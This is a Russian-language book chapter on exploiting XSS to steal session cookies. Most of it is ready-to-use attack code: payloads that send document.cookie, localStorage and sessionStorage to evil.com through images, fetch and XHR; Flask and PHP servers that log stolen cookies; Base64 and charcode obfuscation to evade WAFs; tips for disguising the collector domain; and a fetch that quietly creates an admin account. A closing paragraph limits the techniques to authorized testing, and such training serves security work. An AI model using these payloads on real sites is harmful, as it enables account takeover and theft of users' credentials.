Книга: «Все об уязвимости XSS». Глава 7. Эксплуатация XSS - Время красть cookie 🍪 • Cookie grabbing: классика жанра

Ты нашёл XSS. Ты подтвердил, что alert(1) вылетает. Поздравляю, теория закончилась - начинается работа. И первое, что должен уметь любой охотник, превращающий findings в реальный impact - это украсть session cookie жертвы. Cookie grabbing - это классика жанра не потому, что это устарело, а потому что это работает уже 20 лет и будет работать ещё 20, пока разработчики не научатся правильно ставить флаг HttpOnly.

Зачем воровать cookie

Session cookie - это цифровой паспорт пользователя. Если сайт использует классическую session-based авторизацию, украденный cookie позволяет тебе буквально стать этим пользователем: без пароля, без 2FA, без вопросов. Ты просто вставляешь чужой session ID в свой браузер - и вуаля, ты залогинен как жертва.

Это не теоретическая угроза. Захват admin-сессии через XSS в форме обратной связи - это прямой путь к полному захвату панели управления, кражи данных всех пользователей и, если повезёт, к RCE через админку .

document.cookie - твой главный инструмент

Всё начинается с одной строчки JavaScript:

document.cookie

Эта команда возвращает все cookies, доступные текущему JavaScript-контексту, в виде строки:

sessionid=a1b2c3d4e5f6; theme=dark; lang=ru; _ga=GA1.2.123456789

Обратите внимание: не все cookies тут будут. Если сервер выставил флаг HttpOnly для конкретного cookie, JavaScript его не увидит вообще. Это защита №1, о которой мы поговорим отдельно. Но пока считаем, что HttpOnly не установлен - золотой сценарий для атакующего.

Базовый payload для кражи

Самый простой способ утащить cookie - отправить его на свой сервер.

Через Image beacon

<script>
new Image().src='https://evil.com/steal?c='+document.cookie;
</script>

Почему Image(), а не fetch() или XMLHttpRequest? Потому что создание объекта Image и установка src - это классический трюк, который работает даже в самых древних браузерах и не блокируется большинством CSP-политик, если они настроены криво (без img-src).

Полный payload для инъекции:

<img src=x onerror="new Image().src='https://evil.com/steal?c='+document.cookie">

Или через SVG, как мы разбирали в главе про event handlers :

<svg onload="new Image().src='https://evil.com/steal?c='+document.cookie">

Через fetch API - современный подход

fetch('https://evil.com/steal', {
method: 'POST',
body: document.cookie
});

Плюс fetch - можно отправлять POST-запросы с телом, что удобнее для больших объёмов данных и не светится в логах сервера так явно, как GET-параметр.

В контексте XSS:

<img src=x onerror="fetch('https://evil.com/steal',{method:'POST',body:document.cookie})">

Через XMLHttpRequest - старая школа

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://evil.com/steal?c=' + encodeURIComponent(document.cookie), true);
xhr.send();

Работает во всех браузерах, включая совсем древние. Используй, если целишься в legacy-системы.

Сервер для приёма украденных cookies

Кража бессмысленна без места, куда её сложить. Тебе нужен простой сервер-логгер.

Минимальный Python/Flask сервер

from flask import Flask, request
import datetime
app = Flask(__name__)
@app.route('/steal', methods=['GET', 'POST'])
def steal():
timestamp = datetime.datetime.now()
cookie = request.args.get('c') or request.get_data(as_text=True)
ip = request.remote_addr
user_agent = request.headers.get('User-Agent')

with open('stolen_cookies.log', 'a') as f:
f.write(f"[{timestamp}] IP: {ip}\n")
f.write(f"UA: {user_agent}\n")
f.write(f"Cookie: {cookie}\n")
f.write("-" * 50 + "\n")

return "OK", 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')

Разверни на VPS с валидным доменом (свежий домен с https, чтобы не триггерить браузерные предупреждения о смешанном контенте, если целевой сайт на HTTPS).

PHP-вариант для дешёвого shared хостинга

<?php
$cookie = $_GET['c'] ?? $_POST['c'] ?? 'empty';
$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];
$log = date('Y-m-d H:i:s') . " | IP: $ip | UA: $ua | Cookie: $cookie\n";
file_put_contents('stolen.log', $log, FILE_APPEND);
?>

Закинул на любой бесплатный PHP-хостинг - готово.

Использование украденного cookie

Получил строку sessionid=a1b2c3d4e5f6? Время её применить.

Через DevTools браузера

  1. Открой целевой сайт в браузере
  2. F12 → Application → Cookies
  3. Найди нужный cookie (например, sessionid)
  4. Замени значение на украденное
  5. Обнови страницу - ты залогинен как жертва

Через расширение Cookie-Editor

Расширения типа "Cookie-Editor" или "EditThisCookie" позволяют делать это в один клик, без DevTools.

Через curl для API-тестирования

curl -H "Cookie: sessionid=a1b2c3d4e5f6" https://target.com/admin/dashboard

Если приложение стройно проверяет только session ID без дополнительных проверок (fingerprinting, IP-binding) - ты внутри.

Обфускация payload'а для обхода детекции

Прямая отправка document.cookie часто триггерит WAF или системы мониторинга. Применяй техники из главы 6 .

Base64-кодирование payload'а

<img src=x onerror="eval(atob('bmV3IEltYWdlKCkuc3JjPSdodHRwczovL2V2aWwuY29tL3N0ZWFsP2M9Jytkb2N1bWVudC5jb29raWU='))">

Раскодируй сам payload перед вставкой:

btoa("new Image().src='https://evil.com/steal?c='+document.cookie")

Через String.fromCharCode

<img src=x onerror="eval(String.fromCharCode(...[110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,39,104,116,116,112,115,58,47,47,101,118,105,108,46,99,111,109,47,115,116,101,97,108,63,99,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101]))">

Громоздко, но эффективно против сигнатурных фильтров.

Обфускация домена

Замаскируй свой evil-домен под легитимный сервис:

// Вместо evil.com используй похожий на CDN домен
new Image().src='https://cdn-analytics-service.com/collect?c='+document.cookie

Или используй сокращатели URL (bit.ly, tinyurl) - но осторожно, многие security-продукты их резолвят автоматически.

Продвинутые техники сбора данных

Не ограничивайся только session cookie. Собери максимум контекста для полноценной атаки.

Полный дамп для Blind XSS

<img src=x onerror="
var data = {
cookie: document.cookie,
url: location.href,
domain: document.domain,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage),
html: document.documentElement.outerHTML.substring(0,5000)
};
fetch('https://evil.com/dump', {method:'POST', body: JSON.stringify(data)});
">

Это уже не просто кража cookie - это полный снапшот состояния страницы жертвы, что критично для отчётов при Blind XSS через XSS Hunter-подобные системы .

Кража LocalStorage и SessionStorage

Многие современные SPA-приложения (React, Vue, Angular) хранят токены не в cookie, а в LocalStorage:

fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({
local: localStorage,
session: sessionStorage,
cookie: document.cookie
})
});

Это особенно важно для JWT-based авторизации, где токен часто лежит именно в LocalStorage, а не в cookie.

HttpOnly - главный враг cookie grabbing

Флаг HttpOnly - это защита, которая делает cookie недоступным для JavaScript. Если сервер установил:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict

То команда document.cookie просто не вернёт этот cookie в списке. Твой прямой cookie grabbing не сработает.

Но не спеши сдаваться. Даже с HttpOnly, XSS остаётся крайне опасным, потому что ты всё равно можешь:

  • Выполнять действия от имени пользователя через fetch() (запросы автоматически несут cookie)
  • Читать данные со страницы через DOM
  • Перехватывать формы и вводимые данные (кейлоггинг)
  • Делать CSRF-подобные запросы, но уже с полным контролем над контекстом

Session Riding через fetch - обход HttpOnly

Даже без прямого доступа к cookie, ты можешь заставить браузер жертвы выполнить действие с её сессией:

fetch('/api/admin/create_user', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({username: 'hacker', role: 'admin', password: 'pwned123'})
});

Параметр credentials: 'include' заставляет браузер автоматически приложить cookie к запросу, даже если ты не можешь их прочитать напрямую. Результат - то же самое захват аккаунта, но без необходимости кражи session ID.

Практический workflow кражи cookie

  1. Подготовь инфраструктуру: VPS с валидным SSL-сертификатом, простой logger-сервер
  2. Создай payload: Выбери метод (Image beacon, fetch, XHR) под конкретный контекст инъекции
  3. Проверь HttpOnly: Через DevTools или простой тестовый payload alert(document.cookie) - если пусто, cookie защищён
  4. Обфусцируй: Примени кодирование, если ожидаешь WAF на пути
  5. Доставь payload: Через reflected, stored или blind XSS в зависимости от найденной уязвимости
  6. Мониторь сервер: Жди callback'и, логируй все hits
  7. Используй украденное: Замени cookie в своём браузере, подтверди доступ

Этические и юридические границы

Важное напоминание: всё описанное выше - это техники для авторизованного тестирования (bug bounty программы, pentest с подписанным договором, собственные lab-окружения). Кража cookie на реальных пользователях без разрешения - это уголовное преступление в большинстве юрисдикций (несанкционированный доступ к компьютерной информации). Используй эти знания для получения легальных bug bounty наград и построения карьеры в security, а не для превращения в статистику по делам о киберпреступлениях.

Заключение

Cookie grabbing - это фундамент практической эксплуатации XSS, тот самый момент, когда alert(1) превращается в реальный захват аккаунта. Знание того, как правильно эксфильтровать данные, обойти HttpOnly через session riding и построить инфраструктуру для приёма callback'ов - это разница между "нашёл XSS" и "получил bounty за критическую уязвимость".

16 views·6 shares